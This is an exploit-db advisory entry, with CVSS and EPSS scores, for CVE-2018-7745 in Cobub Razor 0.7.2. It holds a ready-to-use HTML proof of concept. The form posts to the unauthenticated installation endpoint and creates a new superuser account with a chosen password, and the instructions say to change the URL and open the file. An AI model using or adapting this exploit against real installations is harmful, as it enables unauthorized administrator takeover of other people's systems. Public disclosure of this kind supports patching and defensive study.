Cobub Razor 0.7.2 - Add New Superuser Account

2018-04-0900:00:00

ppb

www.exploit-db.com

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

0.036 Low

EPSS

Percentile

91.7%

JSON

# Exploit Title: [Cobub Razor 0.7.2 Add New Superuser User]
# Date: [2018-03-07]
# Exploit Author: [ppb（[email protected]）]
# Vendor Homepage: [https://github.com/cobub/razor/]
# Software Link: [https://github.com/cobub/razor/]
# Version: [0.72] 
# CVE : [CVE-2018-7745]

There is a vulnerability that can add an admnistrator user without login.
update the url and save to html ，then open it.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/index.php?/install/installation/createuserinfo" method="POST">
      <input type="hidden" name="siteurl" value="http://127.0.0.1/" />
      <input type="hidden" name="superuser" value="test" />
      <input type="hidden" name="pwd" value="test123" />
      <input type="hidden" name="verifypassword" value="test123" />
      <input type="hidden" name="email" value="[email protected]" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>